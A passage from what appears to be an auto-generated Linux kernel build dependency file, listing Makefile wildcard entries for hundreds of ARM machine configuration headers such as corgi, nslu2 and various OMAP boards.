$(wildcard include/config/arch/janus2m.h) \
$(wildcard include/config/mach/embtf.h) \
$(wildcard include/config/mach/hpm.h) \
$(wildcard include/config/mach/smdk2410tk.h) \
$(wildcard include/config/mach/smdk2410aj.h) \
$(wildcard include/config/mach/streetracer.h) \
$(wildcard include/config/mach/eframe.h) \
$(wildcard include/config/mach/csb337.h) \
$(wildcard include/config/mach/pxa/lark.h) \
$(wildcard include/config/mach/pnp2110.h) \
$(wildcard include/config/mach/tcc72x.h) \
$(wildcard include/config/mach/altair.h) \
$(wildcard include/config/mach/kc3.h) \
$(wildcard include/config/mach/sinteftd.h) \
$(wildcard include/config/mach/mainstone.h) \
$(wildcard include/config/mach/aday4x.h) \
$(wildcard include/config/mach/lite300.h) \
$(wildcard include/config/mach/s5c7376.h) \
$(wildcard include/config/mach/mt02.h) \
$(wildcard include/config/mach/mport3s.h) \
$(wildcard include/config/mach/ra/alpha.h) \
$(wildcard include/config/mach/xcep.h) \
$(wildcard include/config/mach/arcom/vulcan.h) \
$(wildcard include/config/mach/stargate.h) \
$(wildcard include/config/mach/armadilloj.h) \
$(wildcard include/config/mach/elroy/jack.h) \
$(wildcard include/config/mach/backend.h) \
$(wildcard include/config/mach/s5linbox.h) \
$(wildcard include/config/mach/nomadik.h) \
$(wildcard include/config/mach/ia/cpu/9200.h) \
$(wildcard include/config/mach/at91/bja1.h) \
$(wildcard include/config/mach/corgi.h) \
$(wildcard include/config/mach/poodle.h) \
$(wildcard include/config/mach/ten.h) \
$(wildcard include/config/mach/roverp5p.h) \
$(wildcard include/config/mach/sc2700.h) \
$(wildcard include/config/mach/ex/eagle.h) \
$(wildcard include/config/mach/nx/pxa12.h) \
$(wildcard include/config/mach/nx/pxa5.h) \
$(wildcard include/config/mach/blackboard2.h) \
$(wildcard include/config/mach/i819.h) \
$(wildcard include/config/mach/ixmb995e.h) \
$(wildcard include/config/mach/skyrider.h) \
$(wildcard include/config/mach/skyhawk.h) \
$(wildcard include/config/mach/enterprise.h) \
$(wildcard include/config/mach/dep2410.h) \
$(wildcard include/config/mach/armcore.h) \
$(wildcard include/config/mach/hobbit.h) \
$(wildcard include/config/mach/h7210.h) \
$(wildcard include/config/mach/pxa/netdcu5.h) \
$(wildcard include/config/mach/acc.h) \
$(wildcard include/config/mach/esl/sarva.h) \
$(wildcard include/config/mach/xm250.h) \
$(wildcard include/config/mach/t6tc1xb.h) \
$(wildcard include/config/mach/ess710.h) \
$(wildcard include/config/mach/mx31ads.h) \
$(wildcard include/config/mach/himalaya.h) \
$(wildcard include/config/mach/bolfenk.h) \
$(wildcard include/config/mach/at91rm9200kr.h) \
$(wildcard include/config/mach/edb9312.h) \
$(wildcard include/config/mach/omap/generic.h) \
$(wildcard include/config/mach/aximx3.h) \
$(wildcard include/config/mach/eb67xdip.h) \
$(wildcard include/config/mach/webtxs.h) \
$(wildcard include/config/mach/hawk.h) \
$(wildcard include/config/mach/ccat91sbc001.h) \
$(wildcard include/config/mach/expresso.h) \
$(wildcard include/config/mach/h4000.h) \
$(wildcard include/config/mach/dino.h) \
$(wildcard include/config/mach/ml675k.h) \
$(wildcard include/config/mach/edb9301.h) \
$(wildcard include/config/mach/edb9315.h) \
$(wildcard include/config/mach/reciva/tt.h) \
$(wildcard include/config/mach/cstcb01.h) \
$(wildcard include/config/mach/cstcb1.h) \
$(wildcard include/config/mach/shadwell.h) \
$(wildcard include/config/mach/goepel263.h) \
$(wildcard include/config/mach/acq100.h) \
$(wildcard include/config/mach/mx1fs2.h) \
$(wildcard include/config/mach/hiptop/g1.h) \
$(wildcard include/config/mach/sparky.h) \
$(wildcard include/config/mach/ns9750.h) \
$(wildcard include/config/mach/phoenix.h) \
$(wildcard include/config/mach/vr1000.h) \
$(wildcard include/config/mach/deisterpxa.h) \
$(wildcard include/config/mach/bcm1160.h) \
$(wildcard include/config/mach/pcm022.h) \
$(wildcard include/config/mach/adsgcx.h) \
$(wildcard include/config/mach/dreadnaught.h) \
$(wildcard include/config/mach/dm320.h) \
$(wildcard include/config/mach/markov.h) \
$(wildcard include/config/mach/cos7a400.h) \
$(wildcard include/config/mach/milano.h) \
$(wildcard include/config/mach/ue9328.h) \
$(wildcard include/config/mach/uex255.h) \
$(wildcard include/config/mach/ue2410.h) \
$(wildcard include/config/mach/a620.h) \
$(wildcard include/config/mach/ocelot.h) \
$(wildcard include/config/mach/cheetah.h) \
$(wildcard include/config/mach/omap/perseus2.h) \
$(wildcard include/config/mach/zvue.h) \
$(wildcard include/config/mach/roverp1.h) \
$(wildcard include/config/mach/asidial2.h) \
$(wildcard include/config/mach/s3c24a0.h) \
$(wildcard include/config/mach/e800.h) \
$(wildcard include/config/mach/e750.h) \
$(wildcard include/config/mach/s3c5500.h) \
$(wildcard include/config/mach/smdk5500.h) \
$(wildcard include/config/mach/signalsync.h) \
$(wildcard include/config/mach/nbc.h) \
$(wildcard include/config/mach/kodiak.h) \
$(wildcard include/config/mach/netbookpro.h) \
$(wildcard include/config/mach/hw90200.h) \
$(wildcard include/config/mach/condor.h) \
$(wildcard include/config/mach/cup.h) \
$(wildcard include/config/mach/kite.h) \
$(wildcard include/config/mach/scb9328.h) \
$(wildcard include/config/mach/omap/h3.h) \
$(wildcard include/config/mach/omap/h4.h) \
$(wildcard include/config/mach/n10.h) \
$(wildcard include/config/mach/montajade.h) \
$(wildcard include/config/mach/sg560.h) \
$(wildcard include/config/mach/dp1000.h) \
$(wildcard include/config/mach/omap/osk.h) \
$(wildcard include/config/mach/rg100v3.h) \
$(wildcard include/config/mach/mx2ads.h) \
$(wildcard include/config/mach/pxa/kilo.h) \
$(wildcard include/config/mach/ixp4xx/eagle.h) \
$(wildcard include/config/mach/tosa.h) \
$(wildcard include/config/mach/mb2520f.h) \
$(wildcard include/config/mach/emc1000.h) \
$(wildcard include/config/mach/tidsc25.h) \
$(wildcard include/config/mach/akcpmxl.h) \
$(wildcard include/config/mach/av3xx.h) \
$(wildcard include/config/mach/avila.h) \
$(wildcard include/config/mach/pxa/mpm10.h) \
$(wildcard include/config/mach/pxa/kyanite.h) \
$(wildcard include/config/mach/sgold.h) \
$(wildcard include/config/mach/oscar.h) \
$(wildcard include/config/mach/epxa4usb2.h) \
$(wildcard include/config/mach/xsengine.h) \
$(wildcard include/config/mach/ip600.h) \
$(wildcard include/config/mach/mcan2.h) \
$(wildcard include/config/mach/ddi/blueridge.h) \
$(wildcard include/config/mach/skyminder.h) \
$(wildcard include/config/mach/lpd79520.h) \
$(wildcard include/config/mach/edb9302.h) \
$(wildcard include/config/mach/hw90340.h) \
$(wildcard include/config/mach/cip/box.h) \
$(wildcard include/config/mach/ivpn.h) \
$(wildcard include/config/mach/rsoc2.h) \
$(wildcard include/config/mach/husky.h) \
$(wildcard include/config/mach/boxer.h) \
$(wildcard include/config/mach/shepherd.h) \
$(wildcard include/config/mach/aml42800aa.h) \
$(wildcard include/config/mach/lpc2294.h) \
$(wildcard include/config/mach/switchgrass.h) \
$(wildcard include/config/mach/ens/cmu.h) \
$(wildcard include/config/mach/mm6/sdb.h) \
$(wildcard include/config/mach/saturn.h) \
$(wildcard include/config/mach/i30030evb.h) \
$(wildcard include/config/mach/mxc27530evb.h) \
$(wildcard include/config/mach/smdk2800.h) \
$(wildcard include/config/mach/mtwilson.h) \
$(wildcard include/config/mach/ziti.h) \
$(wildcard include/config/mach/grandfather.h) \
$(wildcard include/config/mach/tengine.h) \
$(wildcard include/config/mach/s3c2460.h) \
$(wildcard include/config/mach/pdm.h) \
$(wildcard include/config/mach/h4700.h) \
$(wildcard include/config/mach/h6300.h) \
$(wildcard include/config/mach/rz1700.h) \
$(wildcard include/config/mach/a716.h) \
$(wildcard include/config/mach/estk2440a.h) \
$(wildcard include/config/mach/atwixp425.h) \
$(wildcard include/config/mach/csb336.h) \
$(wildcard include/config/mach/rirm2.h) \
$(wildcard include/config/mach/cx23518.h) \
$(wildcard include/config/mach/cx2351x.h) \
$(wildcard include/config/mach/computime.h) \
$(wildcard include/config/mach/izarus.h) \
$(wildcard include/config/mach/rts.h) \
$(wildcard include/config/mach/se5100.h) \
$(wildcard include/config/mach/s3c2510.h) \
$(wildcard include/config/mach/csb437tl.h) \
$(wildcard include/config/mach/slauson.h) \
$(wildcard include/config/mach/pearlriver.h) \
$(wildcard include/config/mach/tdc/p210.h) \
$(wildcard include/config/mach/sg580.h) \
$(wildcard include/config/mach/wrsbcarm7.h) \
$(wildcard include/config/mach/ipd.h) \
$(wildcard include/config/mach/pxa/dnp2110.h) \
$(wildcard include/config/mach/xaeniax.h) \
$(wildcard include/config/mach/somn4250.h) \
$(wildcard include/config/mach/pleb2.h) \
$(wildcard include/config/mach/cornwallis.h) \
$(wildcard include/config/mach/gurney/drv.h) \
$(wildcard include/config/mach/chaffee.h) \
$(wildcard include/config/mach/rms101.h) \
$(wildcard include/config/mach/rx3715.h) \
$(wildcard include/config/mach/swift.h) \
$(wildcard include/config/mach/roverp7.h) \
$(wildcard include/config/mach/pr818s.h) \
$(wildcard include/config/mach/trxpro.h) \
$(wildcard include/config/mach/nslu2.h) \
$(wildcard include/config/mach/e400.h) \
$(wildcard include/config/mach/trab.h) \
$(wildcard include/config/mach/cmc/pu2.h) \
$(wildcard include/config/mach/fulcrum.h) \
$(wildcard include/config/mach/netgate42x.h) \
$(wildcard include/config/mach/str710.h) \
$(wildcard include/config/mach/ixdpg425.h) \
$(wildcard include/config/mach/tomtomgo.h) \
$(wildcard include/config/mach/versatile/ab.h) \
$(wildcard include/config/mach/edb9307.h) \
$(wildcard include/config/mach/sg565.h) \
$(wildcard include/config/mach/lpd79524.h) \
$(wildcard include/config/mach/lpd79525.h) \
$(wildcard include/config/mach/rms100.h) \
$(wildcard include/config/mach/kb9200.h) \
$(wildcard include/config/mach/sx1.h) \
$(wildcard include/config/mach/hms39c7092.h) \
$(wildcard include/config/mach/armadillo.h) \
$(wildcard include/config/mach/ipcu.h) \
$(wildcard include/config/mach/loox720.h) \
$(wildcard include/config/mach/ixdp465.h) \
$(wildcard include/config/mach/ixdp2351.h) \
$(wildcard include/config/mach/adsvix.h) \
$(wildcard include/config/mach/dm270.h) \
$(wildcard include/config/mach/socltplus.h) \
$(wildcard include/config/mach/ecia.h) \
$(wildcard include/config/mach/cm4008.h) \
$(wildcard include/config/mach/p2001.h) \
$(wildcard include/config/mach/twister.h) \
$(wildcard include/config/mach/mudshark.h) \
$(wildcard include/config/mach/hb2.h) \
$(wildcard include/config/mach/iq80332.h) \
$(wildcard include/config/mach/sendt.h) \
$(wildcard include/config/mach/mx2jazz.h) \
$(wildcard include/config/mach/multiio.h) \
$(wildcard include/config/mach/hrdisplay.h) \
$(wildcard include/config/mach/mxc27530ads.h) \
$(wildcard include/config/mach/trizeps3.h) \
$(wildcard include/config/mach/zefeerdza.h) \
$(wildcard include/config/mach/zefeerdzb.h) \
$(wildcard include/config/mach/zefeerdzg.h) \
$(wildcard include/config/mach/zefeerdzn.h) \
$(wildcard include/config/mach/zefeerdzq.h) \
$(wildcard include/config/mach/gtwx5715.h) \
$(wildcard include/config/mach/astro/jack.h) \
$(wildcard include/config/mach/tip03.h) \
$(wildcard include/config/mach/a9200ec.h) \
$(wildcard include/config/mach/pnx0105.h) \
$(wildcard include/config/mach/adcpoecpu.h) \
$(wildcard include/config/mach/csb637.h) \
$(wildcard include/config/mach/mb9200.h) \
$(wildcard include/config/mach/kulun.h) \
$(wildcard include/config/mach/snapper.h) \
$(wildcard include/config/mach/optima.h) \
$(wildcard include/config/mach/dlhsbc.h) \
$(wildcard include/config/mach/x30.h) \
$(wildcard include/config/mach/n30.h) \
$(wildcard include/config/mach/manga/ks8695.h) \
$(wildcard include/config/mach/ajax.h) \
$(wildcard include/config/mach/nec/mp900.h) \
$(wildcard include/config/mach/vvtk1000.h) \
$(wildcard include/config/mach/kafa.h) \
$(wildcard include/config/mach/vvtk3000.h) \
$(wildcard include/config/mach/pimx1.h) \
$(wildcard include/config/mach/ollie.h) \
$(wildcard include/config/mach/skymax.h) \
$(wildcard include/config/mach/jazz.h) \
$(wildcard include/config/mach/tel/t3.h) \
$(wildcard include/config/mach/aisino/fcr255.h) \
$(wildcard include/config/mach/btweb.h) \
$(wildcard include/config/mach/dbg/lh79520.h) \
$(wildcard include/config/mach/cm41xx.h) \
$(wildcard include/config/mach/ts72xx.h) \
$(wildcard include/config/mach/nggpxa.h) \
$(wildcard include/config/mach/csb535.h) \
$(wildcard include/config/mach/csb536.h) \
$(wildcard include/config/mach/pxa/trakpod.h) \
$(wildcard include/config/mach/praxis.h) \
$(wildcard include/config/mach/lh75411.h) \
$(wildcard include/config/mach/otom.h) \
$(wildcard include/config/mach/nexcoder/2440.h) \
$(wildcard include/config/mach/loox410.h) \
$(wildcard include/config/mach/westlake.h) \
$(wildcard include/config/mach/nsb.h) \
$(wildcard include/config/mach/esl/sarva/stn.h) \
$(wildcard include/config/mach/esl/sarva/tft.h) \
$(wildcard include/config/mach/esl/sarva/iad.h) \
$(wildcard include/config/mach/esl/sarva/acc.h) \
$(wildcard include/config/mach/typhoon.h) \
$(wildcard include/config/mach/cnav.h) \
$(wildcard include/config/mach/a730.h) \
$(wildcard include/config/mach/netstar.h) \
$(wildcard include/config/mach/phasefale/supercon.h) \
$(wildcard include/config/mach/shiva1100.h) \
$(wildcard include/config/mach/etexsc.h) \
$(wildcard include/config/mach/ixdpg465.h) \
$(wildcard include/config/mach/a9m2410.h) \
$(wildcard include/config/mach/a9m2440.h) \
$(wildcard include/config/mach/a9m9750.h) \
$(wildcard include/config/mach/a9m9360.h) \
$(wildcard include/config/mach/unc90.h) \
$(wildcard include/config/mach/eco920.h) \
$(wildcard include/config/mach/satview.h) \
$(wildcard include/config/mach/roadrunner.h) \
$(wildcard include/config/mach/at91rm9200ek.h) \
$(wildcard include/config/mach/gp32.h) \
$(wildcard include/config/mach/gem.h) \
$(wildcard include/config/mach/i858.h) \
$(wildcard include/config/mach/hx2750.h) \
$(wildcard include/config/mach/mxc91131evb.h) \
$(wildcard include/config/mach/p700.h) \
$(wildcard include/config/mach/cpe.h) \
$(wildcard include/config/mach/spitz.h) \
$(wildcard include/config/mach/nimbra340.h) \
$(wildcard include/config/mach/lpc22xx.h) \
$(wildcard include/config/mach/comet3.h) \
$(wildcard include/config/mach/comet4.h) \
$(wildcard include/config/mach/csb625.h) \
$(wildcard include/config/mach/fortunet2.h) \
$(wildcard include/config/mach/s5h2200.h) \
$(wildcard include/config/mach/optorm920.h) \
$(wildcard include/config/mach/adsbitsyxb.h) \
$(wildcard include/config/mach/adssphere.h) \
$(wildcard include/config/mach/adsportal.h) \
$(wildcard include/config/mach/ln2410sbc.h) \
$(wildcard include/config/mach/cb3rufc.h) \
$(wildcard include/config/mach/mp2usb.h) \
$(wildcard include/config/mach/ntnp425c.h) \
$(wildcard include/config/mach/colibri.h) \
$(wildcard include/config/mach/pcm7220.h) \
$(wildcard include/config/mach/gateway7001.h) \
$(wildcard include/config/mach/pcm027.h) \
$(wildcard include/config/mach/cmpxa.h) \
$(wildcard include/config/mach/anubis.h) \
$(wildcard include/config/mach/ite8152.h) \
$(wildcard include/config/mach/lpc3xxx.h) \
$(wildcard include/config/mach/puppeteer.h) \
$(wildcard include/config/mach/e570.h) \
$(wildcard include/config/mach/x50.h) \
$(wildcard include/config/mach/recon.h) \
$(wildcard include/config/mach/xboardgp8.h) \
$(wildcard include/config/mach/fpic2.h) \
$(wildcard include/config/mach/akita.h) \
$(wildcard include/config/mach/a81.h) \
$(wildcard include/config/mach/svm/sc25x.h) \
$(wildcard include/config/mach/vadatech020.h) \
$(wildcard include/config/mach/tli.h) \
$(wildcard include/config/mach/edb9315lc.h) \
$(wildcard include/config/mach/passec.h) \
$(wildcard include/config/mach/ds/tiger.h) \
$(wildcard include/config/mach/e310.h) \
$(wildcard include/config/mach/e330.h) \
$(wildcard include/config/mach/rt3000.h) \
$(wildcard include/config/mach/nokia770.h) \
$(wildcard include/config/mach/pnx0106.h) \
$(wildcard include/config/mach/hx21xx.h) \
$(wildcard include/config/mach/faraday.h) \
$(wildcard include/config/mach/sbc9312.h) \
$(wildcard include/config/mach/batman.h) \
$(wildcard include/config/mach/jpd201.h) \
$(wildcard include/config/mach/mipsa.h) \
$(wildcard include/config/mach/kacom.h) \
$(wildcard include/config/mach/swarcocpu.h) \
$(wildcard include/config/mach/swarcodsl.h) \
$(wildcard include/config/mach/blueangel.h) \
$(wildcard include/config/mach/hairygrama.h) \
$(wildcard include/config/mach/banff.h) \
$(wildcard include/config/mach/carmeva.h) \
$(wildcard include/config/mach/sam255.h) \
$(wildcard include/config/mach/ppm10.h) \
$(wildcard include/config/mach/edb9315a.h) \
$(wildcard include/config/mach/sunset.h) \
$(wildcard include/config/mach/stargate2.h) \
$(wildcard include/config/mach/intelmote2.h) \
$(wildcard include/config/mach/trizeps4.h) \
$(wildcard include/config/mach/mainstone2.h) \
$(wildcard include/config/mach/ez/ixp42x.h) \
$(wildcard include/config/mach/tapwave/zodiac.h) \
$(wildcard include/config/mach/universalmeter.h) \
$(wildcard include/config/mach/hicoarm9.h) \
$(wildcard include/config/mach/pnx4008.h) \
$(wildcard include/config/mach/kws6000.h) \
$(wildcard include/config/mach/portux920t.h) \
$(wildcard include/config/mach/ez/x5.h) \
$(wildcard include/config/mach/omap/rudolph.h) \
$(wildcard include/config/mach/cpuat91.h) \
$(wildcard include/config/mach/rea9200.h) \
$(wildcard include/config/mach/acts/pune/sa1110.h) \
$(wildcard include/config/mach/ixp425.h) \
$(wildcard include/config/mach/i30030ads.h) \
$(wildcard include/config/mach/perch.h) \
$(wildcard include/config/mach/eis05r1.h) \
$(wildcard include/config/mach/pepperpad.h) \
$(wildcard include/config/mach/sb3010.h) \
$(wildcard include/config/mach/rm9200.h) \
$(wildcard include/config/mach/dma03.h) \
$(wildcard include/config/mach/road/s101.h) \
$(wildcard include/config/mach/iq81340sc.h) \
$(wildcard include/config/mach/iq/nextgen/b.h) \
$(wildcard include/config/mach/iq81340mc.h) \
$(wildcard include/config/mach/iq/nextgen/d.h) \
$(wildcard include/config/mach/iq/nextgen/e.h) \
$(wildcard include/config/mach/mallow/at91.h) \
$(wildcard include/config/mach/cybertracker/i.h) \
$(wildcard include/config/mach/gesbc931x.h) \
$(wildcard include/config/mach/centipad.h) \
$(wildcard include/config/mach/armsoc.h) \
$(wildcard include/config/mach/se4200.h) \
$(wildcard include/config/mach/ems197a.h) \
$(wildcard include/config/mach/micro9.h) \
$(wildcard include/config/mach/micro9l.h) \
$(wildcard include/config/mach/uc5471dsp.h) \
$(wildcard include/config/mach/sj5471eng.h) \
$(wildcard include/config/mach/cmpxa26x.h) \
$(wildcard include/config/mach/nc.h) \
$(wildcard include/config/mach/omap/palmte.h) \
$(wildcard include/config/mach/ajax52x.h) \
$(wildcard include/config/mach/siriustar.h) \
$(wildcard include/config/mach/iodata/hdlg.h) \
$(wildcard include/config/mach/at91rm9200utl.h) \
$(wildcard include/config/mach/biosafe.h) \
$(wildcard include/config/mach/mp1000.h) \
$(wildcard include/config/mach/parsy.h) \
$(wildcard include/config/mach/ccxp.h) \
$(wildcard include/config/mach/omap/gsample.h) \
$(wildcard include/config/mach/realview/eb.h) \
$(wildcard include/config/mach/samoa.h) \
$(wildcard include/config/mach/palmt3.h) \
$(wildcard include/config/mach/i878.h) \
$(wildcard include/config/mach/borzoi.h) \
$(wildcard include/config/mach/gecko.h) \
$(wildcard include/config/mach/ds101.h) \
$(wildcard include/config/mach/omap/palmtt2.h) \
$(wildcard include/config/mach/palmld.h) \
$(wildcard include/config/mach/cc9c.h) \
$(wildcard include/config/mach/sbc1670.h) \
$(wildcard include/config/mach/ixdp28x5.h) \
$(wildcard include/config/mach/omap/palmtt.h) \
$(wildcard include/config/mach/ml696k.h) \
$(wildcard include/config/mach/arcom/zeus.h) \
$(wildcard include/config/mach/osiris.h) \
$(wildcard include/config/mach/maestro.h) \
$(wildcard include/config/mach/palmte2.h) \
$(wildcard include/config/mach/ixbbm.h) \
$(wildcard include/config/mach/mx27ads.h) \
$(wildcard include/config/mach/ax8004.h) \
$(wildcard include/config/mach/at91sam9261ek.h) \
$(wildcard include/config/mach/loft.h) \
$(wildcard include/config/mach/magpie.h) \
$(wildcard include/config/mach/mx21ads.h) \
$(wildcard include/config/mach/mb87m3400.h) \
$(wildcard include/config/mach/mguard/delta.h) \
$(wildcard include/config/mach/davinci/dvdp.h) \
$(wildcard include/config/mach/htcuniversal.h) \
$(wildcard include/config/mach/tpad.h) \
$(wildcard include/config/mach/roverp3.h) \
$(wildcard include/config/mach/jornada928.h) \
$(wildcard include/config/mach/mv88fxx81.h) \
$(wildcard include/config/mach/stmp36xx.h) \
$(wildcard include/config/mach/sxni79524.h) \
$(wildcard include/config/mach/ams/delta.h) \
$(wildcard include/config/mach/uranium.h) \
$(wildcard include/config/mach/ucon.h) \
$(wildcard include/config/mach/nas100d.h) \
$(wildcard include/config/mach/l083/1000.h) \
$(wildcard include/config/mach/ezx.h) \
$(wildcard include/config/mach/pnx5220.h) \
$(wildcard include/config/mach/butte.h) \
$(wildcard include/config/mach/srm2.h) \
$(wildcard include/config/mach/dsbr.h) \
$(wildcard include/config/mach/crystalball.h) \
$(wildcard include/config/mach/tinypxa27x.h) \
$(wildcard include/config/mach/herbie.h) \
$(wildcard include/config/mach/magician.h) \
$(wildcard include/config/mach/cm4002.h) \
$(wildcard include/config/mach/b4.h) \
$(wildcard include/config/mach/maui.h) \
$(wildcard include/config/mach/cybertracker/g.h) \
$(wildcard include/config/mach/nxdkn.h) \
$(wildcard include/config/mach/mio8390.h) \
$(wildcard include/config/mach/omi/board.h) \
$(wildcard include/config/mach/mx21civ.h) \
$(wildcard include/config/mach/mahi/cdac.h) \
$(wildcard include/config/mach/palmtx.h) \
$(wildcard include/config/mach/s3c2413.h) \
$(wildcard include/config/mach/samsys/ep0.h) \
$(wildcard include/config/mach/wg302v1.h) \
$(wildcard include/config/mach/wg302v2.h) \
$(wildcard include/config/mach/eb42x.h) \
$(wildcard include/config/mach/iq331es.h) \
$(wildcard include/config/mach/cosydsp.h) \
$(wildcard include/config/mach/uplat7d.h) \
$(wildcard include/config/mach/ptdavinci.h) \
$(wildcard include/config/mach/mbus.h) \
$(wildcard include/config/mach/nadia2vb.h) \
$(wildcard include/config/mach/r1000.h) \
$(wildcard include/config/mach/hw90250.h) \
$(wildcard include/config/mach/omap/2430sdp.h) \
$(wildcard include/config/mach/davinci/evm.h) \
$(wildcard include/config/mach/omap/tornado.h) \
$(wildcard include/config/mach/olocreek.h) \
$(wildcard include/config/mach/palmz72.h) \
$(wildcard include/config/mach/nxdb500.h) \
$(wildcard include/config/mach/apf9328.h) \
$(wildcard include/config/mach/omap/wipoq.h) \
$(wildcard include/config/mach/omap/twip.h) \
$(wildcard include/config/mach/treo650.h) \
$(wildcard include/config/mach/acumen.h) \
$(wildcard include/config/mach/xp100.h) \
$(wildcard include/config/mach/fs2410.h) \
$(wildcard include/config/mach/pxa270/cerf.h) \
$(wildcard include/config/mach/sq2ftlpalm.h) \
$(wildcard include/config/mach/bsemserver.h) \
$(wildcard include/config/mach/netclient.h) \
$(wildcard include/config/mach/palmt5.h) \
$(wildcard include/config/mach/palmtc.h) \
$(wildcard include/config/mach/omap/apollon.h) \
$(wildcard include/config/mach/mxc30030evb.h) \
$(wildcard include/config/mach/rea/2d.h) \
$(wildcard include/config/mach/ti3e524.h) \
$(wildcard include/config/mach/ateb9200.h) \
$(wildcard include/config/mach/auckland.h) \
$(wildcard include/config/mach/ak3320m.h) \
$(wildcard include/config/mach/duramax.h) \
$(wildcard include/config/mach/n35.h) \
$(wildcard include/config/mach/pronghorn.h) \
$(wildcard include/config/mach/fundy.h) \
$(wildcard include/config/mach/logicpd/pxa270.h) \
$(wildcard include/config/mach/cpu777.h) \
$(wildcard include/config/mach/simicon9201.h) \
$(wildcard include/config/mach/leap2/hpm.h) \
$(wildcard include/config/mach/cm922txa10.h) \
$(wildcard include/config/mach/pxa.h) \
$(wildcard include/config/mach/sandgate2.h) \
$(wildcard include/config/mach/sandgate2g.h) \
$(wildcard include/config/mach/sandgate2p.h) \
$(wildcard include/config/mach/fred/jack.h) \
$(wildcard include/config/mach/ttg/color1.h) \
$(wildcard include/config/mach/nxeb500hmi.h) \
$(wildcard include/config/mach/netdcu8.h) \
$(wildcard include/config/mach/ng/fvx538.h) \
$(wildcard include/config/mach/ng/fvs338.h) \
$(wildcard include/config/mach/pnx4103.h) \
$(wildcard include/config/mach/hesdb.h) \
$(wildcard include/config/mach/xsilo.h) \
$(wildcard include/config/mach/espresso.h) \
$(wildcard include/config/mach/emlc.h) \
$(wildcard include/config/mach/sisteron.h) \
$(wildcard include/config/mach/rx1950.h) \
$(wildcard include/config/mach/tsc/venus.h) \
$(wildcard include/config/mach/ds101j.h) \
$(wildcard include/config/mach/mxc30030ads.h) \
$(wildcard include/config/mach/fujitsu/wimaxsoc.h) \
$(wildcard include/config/mach/dualpcmodem.h) \
$(wildcard include/config/mach/gesbc9312.h) \
$(wildcard include/config/mach/htcapache.h) \
$(wildcard include/config/mach/ixdp435.h) \
$(wildcard include/config/mach/catprovt100.h) \
$(wildcard include/config/mach/picotux1xx.h) \
$(wildcard include/config/mach/picotux2xx.h) \
$(wildcard include/config/mach/dsmg600.h) \
$(wildcard include/config/mach/empc2.h) \
$(wildcard include/config/mach/ventura.h) \
$(wildcard include/config/mach/phidget/sbc.h) \
$(wildcard include/config/mach/ij3k.h) \
$(wildcard include/config/mach/pisgah.h) \
$(wildcard include/config/mach/omap/fsample.h) \
$(wildcard include/config/mach/sg720.h) \
$(wildcard include/config/mach/redfox.h) \
$(wildcard include/config/mach/mysh/ep9315/1.h) \
$(wildcard include/config/mach/tpf106.h) \
$(wildcard include/config/mach/at91rm9200kg.h) \
$(wildcard include/config/mach/sledb.h) \
$(wildcard include/config/mach/ontrack.h) \
$(wildcard include/config/mach/pm1200.h) \
$(wildcard include/config/mach/ess24xxx.h) \
$(wildcard include/config/mach/coremp7.h) \
$(wildcard include/config/mach/nexcoder/6446.h) \
$(wildcard include/config/mach/stvc8380.h) \
$(wildcard include/config/mach/teklynx.h) \
$(wildcard include/config/mach/carbonado.h) \
$(wildcard include/config/mach/sysmos/mp730.h) \
$(wildcard include/config/mach/snapper/cl15.h) \
$(wildcard include/config/mach/pgigim.h) \
$(wildcard include/config/mach/ptx9160p2.h) \
$(wildcard include/config/mach/dcore1.h) \
$(wildcard include/config/mach/victorpxa.h) \
$(wildcard include/config/mach/mx2dtb.h) \
$(wildcard include/config/mach/pxa/irex/er0100.h) \
$(wildcard include/config/mach/omap/palmz71.h) \
$(wildcard include/config/mach/bartec/deg.h) \
$(wildcard include/config/mach/hw50251.h) \
$(wildcard include/config/mach/ibox.h) \
$(wildcard include/config/mach/atlaslh7a404.h) \
$(wildcard include/config/mach/pt2026.h) \
$(wildcard include/config/mach/htcalpine.h) \
$(wildcard include/config/mach/bartec/vtu.h) \
$(wildcard include/config/mach/vcoreii.h) \
$(wildcard include/config/mach/pdnb3.h) \
$(wildcard include/config/mach/htcbeetles.h) \
$(wildcard include/config/mach/s3c6400.h) \
$(wildcard include/config/mach/s3c2443.h) \
$(wildcard include/config/mach/omap/ldk.h) \
$(wildcard include/config/mach/smdk2460.h) \
$(wildcard include/config/mach/smdk2440.h) \
$(wildcard include/config/mach/smdk2412.h) \
$(wildcard include/config/mach/webbox.h) \
$(wildcard include/config/mach/cwwndp.h) \
$(wildcard include/config/mach/dragon.h) \
$(wildcard include/config/mach/opendo/cpu/board.h) \
$(wildcard include/config/mach/ccm2200.h) \
$(wildcard include/config/mach/etwarm.h) \
$(wildcard include/config/mach/m93030.h) \
$(wildcard include/config/mach/cc7u.h) \
$(wildcard include/config/mach/mtt/ranger.h) \
$(wildcard include/config/mach/nexus.h) \
$(wildcard include/config/mach/desman.h) \
$(wildcard include/config/mach/bkde303.h) \
$(wildcard include/config/mach/smdk2413.h) \
$(wildcard include/config/mach/aml/m7200.h) \
$(wildcard include/config/mach/aml/m5900.h) \
$(wildcard include/config/mach/sg640.h) \
$(wildcard include/config/mach/edg79524.h) \
$(wildcard include/config/mach/ai2410.h) \
$(wildcard include/config/mach/ixp465.h) \
$(wildcard include/config/mach/balloon3.h) \
$(wildcard include/config/mach/heins.h) \
$(wildcard include/config/mach/mpluseva.h) \
$(wildcard include/config/mach/rt042.h) \
$(wildcard include/config/mach/cwiem.h) \
$(wildcard include/config/mach/cm/x270.h) \
$(wildcard include/config/mach/cm/x255.h) \
$(wildcard include/config/mach/esh/at91.h) \
$(wildcard include/config/mach/sandgate3.h) \
$(wildcard include/config/mach/primo.h) \
$(wildcard include/config/mach/gemstone.h) \
$(wildcard include/config/mach/pronghornmetro.h) \
$(wildcard include/config/mach/sidewinder.h) \
$(wildcard include/config/mach/picomod1.h) \
$(wildcard include/config/mach/sg590.h) \
$(wildcard include/config/mach/akai9307.h) \
$(wildcard include/config/mach/fontaine.h) \
$(wildcard include/config/mach/wombat.h) \
$(wildcard include/config/mach/acq300.h) \
$(wildcard include/config/mach/mod/270.h) \
$(wildcard include/config/mach/vc0820.h) \
$(wildcard include/config/mach/ani/aim.h) \
$(wildcard include/config/mach/jellyfish.h) \
$(wildcard include/config/mach/amanita.h) \
$(wildcard include/config/mach/vlink.h) \
$(wildcard include/config/mach/dexflex.h) \
$(wildcard include/config/mach/eigen/ttq.h) \
$(wildcard include/config/mach/arcom/titan.h) \
$(wildcard include/config/mach/tabla.h) \
$(wildcard include/config/mach/mdirac3.h) \
$(wildcard include/config/mach/mrhfbp2.h) \
$(wildcard include/config/mach/at91rm9200rb.h) \
$(wildcard include/config/mach/ani/apm.h) \
